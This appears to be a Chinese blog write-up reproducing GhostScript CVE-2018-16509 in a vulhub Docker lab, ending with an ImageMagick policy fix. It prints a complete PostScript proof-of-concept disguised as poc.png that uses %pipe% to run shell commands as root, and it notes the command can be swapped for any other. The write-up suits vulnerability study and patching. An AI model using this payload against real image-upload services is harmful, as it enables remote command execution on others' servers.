GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)

本文介绍了GhostScript的一个安全漏洞,该漏洞允许攻击者通过构造恶意的图片内容绕过安全沙箱,导致命令执行、文件读取和删除。攻击者在文件上传过程中利用GhostScript处理图片时可触发此漏洞。修复方案包括限制GhostScript的某些代码解析权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞概述

①漏洞简介

​ 8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。

②GhostScript

GhostScript 是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,GhostScript 被许多图片处理库所使用。

③漏洞影响

在文件上传过程中,有可能会用GhostScript来处理图片,可以伪装图片利用GhostScript执行命令。

漏洞复现

①环境搭建

使用docker启动ghostscript_CVE-2018-16509环境

root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# docker-compose up -d

服务启动后,访问http://172.17.0.1:8080,可看见文件上传按钮。

②浏览poc.png,并提交查询

poc.png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

浏览器返回 Image size is: uid=0(root) gid=0(root) groups=0(root)

修改 id > /tmp/success && cat /tmp/success 可以执行任意命令

③进入Docker容器,查看命令是否已成功执行
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# id > /tmp/success
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# cat /tmp/success
uid=0(root) gid=0(root) 组=0(root)

思考

①漏洞利用及危害

​ 9.24之前版本的GhostScript在处理/invalidaccess异常时,没有正确的检测restoration of privilege(权限恢复)。攻击者可通过提交特制的PostScript利用该漏洞执行代码。如利用图片隐写可以通过上传图片执行命令并返回信息,理论上可以实现任意命令。

②与之前注入命令方式的不同

​ 该漏洞利用上传文件解析,可以直接在浏览器显示返回数据

③修复方案

​ 参考imagemaick的ghost script RCE漏洞修复方案

​ 编辑ImageMagick的policy文件,在标签中增加如下内容

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PS2" />
<policy domain="coder" rights="none" pattern="PS3" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值